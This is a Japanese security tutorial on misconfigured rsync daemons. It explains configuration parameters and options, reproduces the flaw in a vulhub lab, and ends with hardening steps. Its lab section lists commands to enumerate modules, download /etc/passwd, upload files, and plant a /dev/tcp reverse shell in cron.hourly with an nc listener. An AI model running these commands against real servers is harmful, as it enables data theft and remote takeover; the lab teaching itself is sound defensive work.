1. 脆弱性の概要#
rsync は、Linux/Unix 上で動作するリモートデータ同期ツールであり、ホスト間でファイルやディレクトリを同期することができます。デフォルトでは、ポート 873 で実行されます。設定が不適切なため、誰でも rsync に未承認でアクセスし、ローカルファイルをアップロードしたり、サーバーファイルをダウンロードしたりすることができます。
rsync による未承認アクセスの影響は、次の 2 つが主なものです:
- 深刻な情報漏洩の引き起こし
- スクリプトバックドアファイルのアップロードとリモートコマンド実行
2. rsync の設定ファイル#
パラメーター | 説明 |
---|---|
uid | このパラメーターは、モジュール間のファイル転送に使用されるユーザー名またはユーザー ID を指定します。 |
gid | このパラメーターは、モジュールへのアクセス時に使用される 1 つ以上のグループ名 / ID を指定します。 |
use chroot | true の場合、rsync はファイルを転送する前に最初に path パラメーターで指定されたディレクトリに chroot します。これにより、追加のセキュリティ保護が実装されますが、root 権限が必要であり、path の外部を指すシンボリックリンクのバックアップはできません。 |
max connections | このモジュールの最大同時接続数を指定して、サーバーを保護します。制限を超える接続要求は後で再試行するように通知されます。 |
syslog facility | rsync が syslog にメッセージを送信するときのメッセージレベルを指定します。 |
pid file | rsync のデーモンプロセスは、指定されたファイルに PID を書き込みます。 |
log file | rsync のデーモンプロセスのログファイルを指定し、ログを syslog に送信しないようにします。 |
path | このモジュールの同期パスを rsync サーバー上で指定します。このパラメーターは必ず指定する必要があります。 |
comment | モジュールに説明を指定し、クライアント接続時にモジュール名とともに表示されます。 |
read only | クライアントがファイルをアップロードできるかどうかを指定します。true の場合、アップロードは許可されません。false であり、サーバーディレクトリに読み書き権限がある場合はアップロードが許可されます。 |
auth users | 認証するユーザー名を指定します。設定しない場合、デフォルトではパスワードは必要ありませんが、設定するとセキュリティが向上します。 |
secrets file | パスワードファイルを指定します。ユーザーの認証を設定する場合、この項目を設定する必要があります。パスワードのパーミッションは 400 に設定します。 |
hosts allow | アクセスを許可するホストを設定します。ネットワークセグメントや複数の IP アドレスをスペースで区切って指定できます。 |
3. rsync の一般的なコマンド#
-a, --archive アーカイブモード。再帰的にファイルを転送し、すべてのファイル属性を保持します。-rlptgoDと同等です(-Hは含まれません)
-v, --verbose 詳細な出力モード
-r, --recursive サブディレクトリを再帰的に処理します
-l, --links シンボリックリンクファイルを保持します。このオプションを使用すると、同期されたファイルは以前のシンボリックリンクの属性が変更されません
-H, --hard-links ハードリンクファイルを保持します
-p, --perms ファイルのパーミッションを保持します
-t, --times ファイルの時間情報を保持します
-g, --group ファイルのグループ情報を保持します
-o, --owner ファイルの所有者情報を保持します(スーパーユーザーのみ)
-D デバイスファイルと特殊ファイルを保持します(スーパーユーザーのみ)
-e, --rsh=COMMAND rshの代わりに使用するシェルプログラムを指定します
-z, --compress ファイルの転送時に圧縮処理を行います
--stats 特定のファイルの転送状態を表示します
--progress 転送中に転送の進行状況を表示します
--timeout=TIME 同期中のIPのタイムアウト時間(秒単位)
--exclude=PATTERN 同期時に除外するファイルまたはサブディレクトリを指定します(同期する必要のないもの)。後に同期しない単一のファイル名またはサブディレクトリ(パスを含めない)を直接指定します。複数のファイルやサブディレクトリを除外する場合は、複数の--excludeを使用します
--exclude-from=FILE 同期時に除外するファイルまたはサブディレクトリを指定します。後にファイル(たとえば/root/exclue.txt)を指定し、同期しないファイルとサブディレクトリを/root/exclue.txtに配置します
--include=PATTERN 転送するファイルの一致パターンを指定します
--include-from=FILE FILEから含まれるルールを読み取ります
--copy-unsafe-links SRCパスツリーの外部を指すリンクファイルをコピーします
--safe-links SRCパスツリーの外部を指すリンクファイルを無視します(デフォルト)
--existing 受信側に既に存在するファイルのみを更新し、新しく作成されたファイルはバックアップしません
--ignore-existing 受信側に既に存在するファイルを無視し、新しく作成されたファイルのみをバックアップします
-b, --backup 変更がある場合、ターゲットディレクトリ内の古いバージョンのファイルをバックアップします
--backup-dir=DIR -bと組み合わせて使用し、バックアップされたファイルをDIRディレクトリに保存します
--link-dest=DIR ファイルが変更されていない場合、DIRを基にハードリンクファイルを作成します
--delete ソースディレクトリに存在せず、ターゲットディレクトリに存在する余分なファイルを削除します。これは、rsyncが増分バックアップを行うための最適な選択肢です!!!!!
--delete-before 受信側の出力の前に削除操作を実行します。つまり、ターゲットディレクトリのファイルをすべて削除してから、ソースディレクトリのファイルをコピーします。これは、rsyncがターゲットディレクトリをソースディレクトリと同じ状態に保つための方法です!!!
--delete-after 同期操作の後に比較を行い、受信側に存在せず、ソースディレクトリに存在する余分なファイルを削除します
--delete-excluded 受信側のディレクトリから、このオプションで指定された除外ファイルを削除します
--ignore-errors I/Oエラーが発生しても削除を実行します
--partial 完全に転送されなかったファイルを保持し、再転送を高速化します
-P --partial --progressと同等
--delay-updates 更新中のファイルを一時ディレクトリ(デフォルトは ".~tmp~")に保存し、転送が完了した後にターゲットファイルを更新します
-q, --quiet 簡潔な出力モード
-h, --human-readable ファイルサイズを読みやすい単位(K、Mなど)で表示します
-n, --dry-run 転送されるファイルを表示します
--list-only コピーせずにファイルを一覧表示します
--rsyncpath=PROGRAM リモートサーバー上のrsyncコマンドのパスを指定します
--password-file=FILE パスワードを入力するためにファイルから読み取ります。パスワードをターミナルに入力するのを避けるために、通常はcronでrsyncサーバーに接続する場合に使用します
--version バージョン情報を表示します
--port=PORT 他のrsyncサーバーポートを指定します
--log-format=formAT ログファイルの形式を指定します
--password-file=FILE FILEからパスワードを取得します
--bwlimit=KBPS I/O帯域幅を制限します(秒ごとのKバイト)
--help ヘルプ情報を表示します
-4, --ipv4 IPv4を使用します
-6, --ipv6 IPv6を使用します
4. 脆弱性の再現#
4.1 攻撃対象のセットアップ#
vulhub の攻撃対象を使用して、この脆弱性を再現します
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/rsync/common
sudo docker-compose up -d
4.2 nmap を使用してターゲットシステムが rsync サービスを公開しているかどうかをスキャンする#
nmap を使用してターゲットシステムが rsync サービスを公開しているかどうかと、脆弱性スキャンを行います
sudo nmap -p 873 192.168.110.128
sudo nmap -p 873 --script rsync-list-modules 192.168.110.128
4.3 サーバーの同期ディレクトリをリストアップする#
rsync コマンドを使用して、サーバーの同期ディレクトリをリストアップおよび表示します
rsync 192.168.110.128::
rsync rsync://192.168.110.128:873/src
rsync 192.168.110.128::src
4.4 任意のファイルのダウンロード#
/etc/passwd ファイルをダウンロードできます
sudo rsync -av 192.168.110.128::src/etc/passwd ./
4.5 任意のファイルの書き込み#
サーバーにファイルをアップロードします
sudo touch 1.txt && sudo chmod 777 1.txt && echo "test" >> 1.txt
sudo rsync -av 1.txt rsync://192.168.110.128:873/src/1.txt
rsync rsync://192.168.110.128:873/src
4.6 任意のファイルの書き込みとダウンロード機能を使用して getshell する#
sudo rsync rsync://192.168.110.128:873/src/etc/crontab ./
sudo touch shell && sudo chmod 777 shell && echo "/bin/bash -i >& /dev/tcp/192.168.110.128/8888" >> shell
rsync -av shell rsync://192.168.110.128:873/src/etc/cron.hourly
nc -lvp 8888
5. 脆弱性の修正#
- rsync のデフォルト設定ファイル /etc/rsyncd.conf を変更し、次のパラメーターを追加または変更します:
- アクセス制御;host allow を設定して、アクセスを許可するホストの IP を制限します。
- 権限制御;read only を設定して、モジュールを読み取り専用に設定します。
- 認証;auth、secrets を設定して、認証に成功した場合にのみサービスを呼び出せるようにします。
- モジュールの非表示化;list を設定して、モジュールを非表示にします。